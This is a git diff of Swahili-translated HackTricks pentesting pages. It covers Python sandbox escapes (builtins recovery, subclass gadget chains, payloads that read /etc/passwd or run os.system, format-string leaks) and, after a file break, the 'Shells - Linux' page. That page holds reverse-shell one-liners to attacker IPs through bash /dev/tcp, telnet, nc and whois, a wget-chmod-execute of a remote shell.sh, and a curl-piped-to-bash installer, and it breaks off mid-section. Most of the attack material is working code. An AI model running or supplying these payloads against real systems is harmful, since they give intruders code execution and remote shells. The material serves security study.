Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni **kuunda kipengele cha darasa, bila kuita konstrukta** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -324,12 +324,12 @@ a.__class__.__exit__ = lambda self, *args: None
|
|||
with (a as b):
|
||||
pass
|
||||
```
|
||||
## Zilizojengwa
|
||||
## Vifaa vya Kujengwa
|
||||
|
||||
* [**Kazi za zilizojengwa za python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Kazi za zilizojengwa za python3**](https://docs.python.org/3/library/functions.html)
|
||||
* [**Vifaa vya kujengwa vya python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Vifaa vya kujengwa vya python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ikiwa unaweza kupata **`__builtins__`** kifaa unaweza kuagiza maktaba (kumbuka unaweza pia kutumia hapa uwasilishaji mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
|
||||
Ikiwa unaweza kupata kitu cha **`__builtins__`** unaweza kuagiza maktaba (tambua kwamba unaweza pia kutumia hapa uwasilishaji mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -337,9 +337,9 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### Hakuna Builtins
|
||||
|
||||
Wakati huna `__builtins__` huwezi kuimport chochote wala hata kusoma au kuandika faili kwani **funksheni zote za kimataifa** (kama vile `open`, `import`, `print`...) **hazijapakiwa**.\
|
||||
Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **fursa hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari isiyo na mpangilio**.
|
||||
Hata hivyo, **kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu**. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao **pia huimporta** **kazi hatari** ndani yao ambazo zinaweza kupatikana ili kupata hata **utekelezaji wa nambari za kubahatisha**.
|
||||
|
||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **fursa hatari** ndani yao.
|
||||
Katika mifano ifuatayo unaweza kuona jinsi ya **kutumia vibaya** baadhi ya moduli hizi "**salama**" zilizopakiwa ili **kupata** **kazi hatari** ndani yao.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -391,7 +391,7 @@ get_flag.__globals__['__builtins__']
|
|||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Mzigo wa kujengwa
|
||||
### Mzigo wa kujengwa ndani
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
|
@ -425,13 +425,13 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **tens/hundreds** ya **mahali** ambapo unaweza kupata **globals**.
|
||||
[**Chini kuna kazi kubwa**](./#recursive-search-of-builtins-globals) ya kupata **maeneo** kumi/**mia** ya **kupata** **globals**.
|
||||
|
||||
## Kugundua Utekelezaji wa Kiholela
|
||||
|
||||
Hapa nataka kueleza jinsi ya kugundua kwa urahisi **kazi hatari zaidi zilizopakiwa** na kupendekeza mbinu za kudanganya zaidi.
|
||||
|
||||
#### Kupata darasa za chini kwa kuzidisha
|
||||
#### Kupata darasa za msingi kwa kuzidisha
|
||||
|
||||
Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza **kupata darasa za msingi**. Katika mifano iliyopita hii ilifanywa kwa kutumia `''.__class__.__base__.__subclasses__()` lakini kuna **njia zingine zinazowezekana**:
|
||||
```python
|
||||
|
@ -472,7 +472,7 @@ Kuna mengi, na **tunahitaji moja tu** kutekeleza amri:
|
|||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Tunaweza kufanya kitu sawa na **maktaba zingine** ambazo tunajua zinaweza kutumika kutekeleza amri:
|
||||
Tunaweza kufanya kitu kama hicho na **maktaba nyingine** ambazo tunajua zinaweza kutumika kutekeleza amri:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
|
@ -526,7 +526,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
Zaidi ya hayo, ikiwa unafikiri **maktaba zingine** zinaweza kuwa na uwezo wa **kuita kazi za kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
Zaidi ya hayo, ikiwa unadhani **maktaba zingine** zinaweza kuwa na uwezo wa **kuita kazi za kutekeleza amri**, tunaweza pia **kuchuja kwa majina ya kazi** ndani ya maktaba zinazowezekana:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -561,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## Utafutaji wa Kurejelea wa Vipengele vya Kujengwa, Globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
Hii ni **nzuri sana**. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia skripti hii kupata **maeneo kwa kina ambapo unaweza kupata kipengele hicho.**
|
||||
Hii ni **nzuri sana**. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia skripti hii **kutafuta kwa kina mahali ambapo unaweza kupata kipengele hicho.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -684,13 +684,13 @@ Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu:
|
|||
[broken-reference](broken-reference/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Fomati ya Python String
|
||||
## Python Format String
|
||||
|
||||
Ikiwa **unatuma** **string** kwa python ambayo itakuwa **imefomatiwa**, unaweza kutumia `{}` kupata **taarifa za ndani za python.** Unaweza kutumia mifano iliyopita kupata vitu vya kawaida au vya kujengwa kwa mfano.
|
||||
Ikiwa **unatuma** **string** kwa python ambayo itakuwa **imeboreshwa**, unaweza kutumia `{}` kupata **habari za ndani za python.** Unaweza kutumia mifano iliyopita kupata upatikanaji wa vitu vya kawaida au vya kujengwa kwa mfano.
|
||||
|
||||
{% hint style="info" %}
|
||||
Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari za kupindukia**, tu kusoma taarifa.\
|
||||
_**Ikiwa unajua jinsi ya kutekeleza nambari kupitia udhaifu huu, tafadhali nisiliana.**_
|
||||
Walakini, kuna **kizuizi**, unaweza kutumia ishara `.[]` tu, kwa hivyo **hutaweza kutekeleza nambari za kupindukia**, tu kusoma habari.\
|
||||
_**Ikiwa unajua jinsi ya kutekeleza nambari kupitia udhaifu huu, tafadhali nisiliana nami.**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
@ -711,11 +711,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Tambua jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama za nukta `__globals__[CONFIG]`
|
||||
Tafadhali angalia jinsi unavyoweza **kupata sifa** kwa njia ya kawaida kwa kutumia **dot** kama `people_obj.__init__` na **elementi ya dict** kwa kutumia **mabano** bila alama ya nukuu `__globals__[CONFIG]`
|
||||
|
||||
Pia kumbuka unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Pia angalia unaweza kutumia `.__dict__` kuorodhesha elementi za kitu `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Baadhi ya sifa nyingine za kuvutia kutoka kwenye herufi za muundo ni uwezekano wa **kutekeleza** **kazi** **`str`**, **`repr`** na **`ascii`** kwenye kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
|
||||
Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa **kutekeleza** **kazi** **`str`**, **`repr`** na **`ascii`** kwenye kitu kilichotajwa kwa kuongeza **`!s`**, **`!r`**, **`!a`** mtawalia:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
|
@ -741,7 +741,7 @@ Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa
|
|||
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Malipo ya Kufichua Habari Nyeti
|
||||
### Mzigo wa Kufichua Habari Nyeti
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
|
@ -755,7 +755,7 @@ Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma **habari nyeti kutoka kwa
|
|||
## Kuchambua Vitu vya Python
|
||||
|
||||
{% hint style="info" %}
|
||||
Ikiwa unataka **kujifunza** kuhusu **bytecode ya python** kwa kina soma chapisho hili **zuri** kuhusu mada: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
Ikiwa unataka **kujifunza** kuhusu **bytecode ya python** kwa kina soma chapisho hili **zuri** kuhusu mada hiyo: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
{% endhint %}
|
||||
|
||||
Katika baadhi ya CTFs unaweza kupewa jina la **kazi ya desturi ambapo bendera** inapatikana na unahitaji kuona **ndani** ya **kazi** ili kuipata.
|
||||
|
@ -883,7 +883,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hautaona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha mbali ya mizani inayopakiwa.
|
||||
Tambua kwamba **ikiwa huwezi kuingiza `dis` katika sanduku la python** unaweza kupata **bytecode** ya kazi (`get_flag.func_code.co_code`) na **kuidisassemble** kwa kifaa chako. Hutaweza kuona maudhui ya mizani zinazopakiwa (`LOAD_CONST`) lakini unaweza kuzitambua kutoka kwa (`get_flag.func_code.co_consts`) kwa sababu `LOAD_CONST` pia inaonyesha mbali ya mizani inayopakiwa.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -907,8 +907,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
```
|
||||
## Kukusanya Python
|
||||
|
||||
Sasa, wacha tuwazie kwamba kwa namna fulani unaweza **kupata habari kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\
|
||||
Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble tu **hujui jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_).
|
||||
Sasa, wacha tufikirie kwamba kwa namna fulani unaweza **kudondosha taarifa kuhusu kazi ambayo huwezi kuitekeleza** lakini unahitaji **kuitekeleza**.\
|
||||
Kama katika mfano ufuatao, **unaweza kupata kifaa cha namna ya kanuni** ya kazi hiyo, lakini kwa kusoma disassemble tu **hujui jinsi ya kuhesabu bendera** (_fikiria kazi ya `calc_flag` yenye utata zaidi_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -954,7 +954,7 @@ types.CodeType.__doc__
|
|||
### Kurekebisha kazi iliyovuja
|
||||
|
||||
{% hint style="warning" %}
|
||||
Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kifaa cha nambari ya kazi moja kwa moja. Katika **mfano halisi**, thamani zote za kutekeleza kazi ya **`code_type`** ndizo **utakazohitaji kufichua**.
|
||||
Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika **mfano halisi**, thamani zote za kutekeleza kazi **`code_type`** ndizo **utahitaji kuvuja**.
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -968,7 +968,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Kupita Mipango ya Ulinzi
|
||||
|
||||
Katika mifano iliyotangulia mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** na mizunguko yote katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\
|
||||
Katika mifano iliyotangulia mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza mizunguko yote** na kila kitu katika **mstari mmoja** (na tunaweza kufanya hivyo kutumia **`exec`**).\
|
||||
Kwa njia yoyote, mara nyingine inaweza kuwa na manufaa **kuunda** **kitu kilichopangwa** kwenye mashine ya ndani na kutekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
|
||||
|
||||
Kwa mfano, hebu tuunde na kutekeleza kwa mikono kazi inayosoma _./poc.py_:
|
||||
|
@ -1008,7 +1008,7 @@ f(42)
|
|||
```
|
||||
## Kudecompile Python Iliyokompiliwa
|
||||
|
||||
Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya python iliyokompiliwa.
|
||||
Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.com) mtu anaweza **kudecompile** nambari ya Python iliyokompiliwa.
|
||||
|
||||
**Angalia mafunzo haya**:
|
||||
|
||||
|
@ -1020,8 +1020,8 @@ Kwa kutumia zana kama [**https://www.decompiler.com/**](https://www.decompiler.c
|
|||
|
||||
### Kudai
|
||||
|
||||
Python inayotekelezwa na upimaji wa parameta `-O` itaondoa taarifa za kudai na nambari yoyote inayotegemea thamani ya **debug**.\
|
||||
Kwa hivyo, ukaguzi kama
|
||||
Python inayotekelezwa na maboresho kwa parameta `-O` itaondoa taarifa za kudai na nambari yoyote inayotegemea thamani ya **debug**.\
|
||||
Hivyo, ukaguzi kama
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1039,9 +1039,9 @@ print(f"\nNot a Super User!!!\n")
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -1051,10 +1051,10 @@ print(f"\nNot a Super User!!!\n")
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Mabakuli - Linux
|
||||
# Mabua - Linux
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -8,25 +8,25 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Ikiwa una maswali kuhusu mabakuli haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Ikiwa una maswali kuhusu mabua haya unaweza kuyachunguza kwa** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## TTY Kamili
|
||||
|
||||
**Maranyingi unapopata mabakuli ya kurudi**[ **soma ukurasa huu ili upate TTY kamili**](full-ttys.md)**.**
|
||||
**Maranyingi unapopata bua la kurudi**[ **soma ukurasa huu ili upate TTY kamili**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -57,7 +57,7 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
1. **`bash -i`**: Sehemu hii ya amri inaanza shell ya Bash ya mwingiliano (`-i`).
|
||||
2. **`>&`**: Sehemu hii ya amri ni maelezo ya mkato kwa **kupelekeza pato la kawaida** (`stdout`) na **makosa ya kawaida** (`stderr`) kwa **mahali sawa**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Hii ni faili maalum inayowakilisha **unganisho la TCP kwa anwani ya IP iliyotajwa na bandari**.
|
||||
* Kwa **kupelekeza mito ya pato na makosa kwa faili hii**, amri inatuma pato la kikao cha shell ya mwingiliano kwa kompyuta ya mshambuliaji.
|
||||
* Kwa **kupelekeza matokeo na mizunguko ya makosa kwa faili hii**, amri inatuma kimsingi pato la kikao cha shell ya mwingiliano kwenye mashine ya mshambuliaji.
|
||||
4. **`0>&1`**: Sehemu hii ya amri **inapelekeza kuingia kawaida (`stdin`) kwa mahali sawa na pato la kawaida (`stdout`)**.
|
||||
|
||||
### Unda kwenye faili na tekeleza
|
||||
|
@ -67,11 +67,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Shell ya Mbele
|
||||
|
||||
Wakati unashughulika na udhaifu wa **Utekelezaji wa Kanuni Kwa Mbali (RCE)** ndani ya programu ya wavuti iliyojengwa kwenye Linux, kufanikisha shell ya nyuma kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kufilta pakiti yenye utata. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo uliokumbwa na shida kwa ufanisi zaidi.
|
||||
Wakati unashughulika na udhaifu wa **Utekelezaji wa Kanuni Kwa Mbali (RCE)** ndani ya programu ya wavuti inayotumia Linux, kufanikisha shell ya kurudi kunaweza kuzuiliwa na ulinzi wa mtandao kama sheria za iptables au mifumo ya kufilisi pakiti za kina. Katika mazingira hayo yaliyozuiwa, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo uliokumbwa kwa ufanisi zaidi.
|
||||
|
||||
Zana iliyopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inasaidia kuingiliana na mazingira lengwa.
|
||||
|
||||
Ili kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyobinafsishwa kwa muktadha wa RCE wa mfumo wako lengwa. Kwa mfano, moduli iliyoitwa `nix.py` inaweza kuwa na muundo ufuatao:
|
||||
Kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyobinafsishwa kwa muktadha wa RCE wa mfumo wako lengwa. Kwa mfano, moduli iliyoitwa `nix.py` inaweza kuwa na muundo ufuatao:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -107,7 +107,7 @@ Unahitaji tu kurekebisha:
|
|||
|
||||
* URL ya mwenyeji mwenye kasoro
|
||||
* Kiambishi na kielezo cha mzigo wako (ikiwa ipo)
|
||||
* Jinsi mzigo unavyotumwa (vichwa? data? habari ziada?)
|
||||
* Namna mzigo unavyotumwa (vichwa? data? habari ziada?)
|
||||
|
||||
Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kuwa mabomba hufanyiwa kusoma na kuandika kwa kuchelewa kwa takriban sekunde 1.3).
|
||||
|
||||
|
@ -127,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
|
|||
```
|
||||
## Telnet
|
||||
|
||||
Telnet ni itifaki ya mtandao inayotumiwa kwa mawasiliano ya maneno kati ya vifaa vya mtandao. Inaweza kutumika kwa kuingia kwa mbali kwenye mfumo wa kompyuta au kifaa kingine cha mtandao.
|
||||
Telnet ni itifaki ya mtandao inayotumiwa kwa mawasiliano kwenye mtandao.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -140,9 +140,9 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
|||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN)
|
||||
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kukomesha STDIN)
|
||||
|
||||
**Mnajimu**
|
||||
**Mnajisi**
|
||||
```bash
|
||||
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
|
||||
```
|
||||
|
@ -156,19 +156,25 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke
|
|||
```
|
||||
## Perl
|
||||
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kama shell ya kuingiliana. Inaweza kufanya kazi kama chombo cha kutekeleza amri, kusaidia kwa kazi za kiotomatiki, na hata kama zana ya uchambuzi wa data. Perl inaweza kuwa chaguo nzuri kwa wale wanaopenda kutumia lugha moja kwa shughuli nyingi za kuingiliana.
|
||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kama shell ya kuingiliana. Inaweza kufanya kazi kama chombo cha kutekeleza amri za mfumo na pia kama lugha ya scripting.
|
||||
```bash
|
||||
